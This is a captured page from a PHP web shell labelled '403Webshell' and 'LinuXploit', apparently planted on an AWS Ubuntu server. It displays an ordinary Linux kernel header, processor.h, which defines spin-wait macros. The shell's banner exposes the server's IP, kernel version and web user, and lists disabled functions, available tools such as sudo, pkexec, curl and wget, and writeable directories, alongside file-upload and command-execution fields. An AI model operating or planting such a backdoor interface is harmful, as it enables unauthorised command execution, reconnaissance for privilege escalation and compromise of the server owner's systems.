403Webshell
Server IP : 13.213.54.232  /  Your IP : 216.73.216.72
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ip-172-31-17-110 6.8.0-1029-aws #31~22.04.1-Ubuntu SMP Thu Apr 24 21:16:18 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 7.1.33-67+ubuntu22.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/lib/modules/6.8.0-1031-aws/build/include/linux/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/lib/modules/6.8.0-1031-aws/build/include/linux/processor.h
/* SPDX-License-Identifier: GPL-2.0 */
/* Misc low level processor primitives */
#ifndef _LINUX_PROCESSOR_H
#define _LINUX_PROCESSOR_H

#include <asm/processor.h>

/*
 * spin_begin is used before beginning a busy-wait loop, and must be paired
 * with spin_end when the loop is exited. spin_cpu_relax must be called
 * within the loop.
 *
 * The loop body should be as small and fast as possible, on the order of
 * tens of instructions/cycles as a guide. It should and avoid calling
 * cpu_relax, or any "spin" or sleep type of primitive including nested uses
 * of these primitives. It should not lock or take any other resource.
 * Violations of these guidelies will not cause a bug, but may cause sub
 * optimal performance.
 *
 * These loops are optimized to be used where wait times are expected to be
 * less than the cost of a context switch (and associated overhead).
 *
 * Detection of resource owner and decision to spin or sleep or guest-yield
 * (e.g., spin lock holder vcpu preempted, or mutex owner not on CPU) can be
 * tested within the loop body.
 */
#ifndef spin_begin
#define spin_begin()
#endif

#ifndef spin_cpu_relax
#define spin_cpu_relax() cpu_relax()
#endif

#ifndef spin_end
#define spin_end()
#endif

/*
 * spin_until_cond can be used to wait for a condition to become true. It
 * may be expected that the first iteration will true in the common case
 * (no spinning), so that callers should not require a first "likely" test
 * for the uncontended case before using this primitive.
 *
 * Usage and implementation guidelines are the same as for the spin_begin
 * primitives, above.
 */
#ifndef spin_until_cond
#define spin_until_cond(cond)					\
do {								\
	if (unlikely(!(cond))) {				\
		spin_begin();					\
		do {						\
			spin_cpu_relax();			\
		} while (!(cond));				\
		spin_end();					\
	}							\
} while (0)

#endif

#endif /* _LINUX_PROCESSOR_H */

Youez - 2016 - github.com/yon3zu
LinuXploit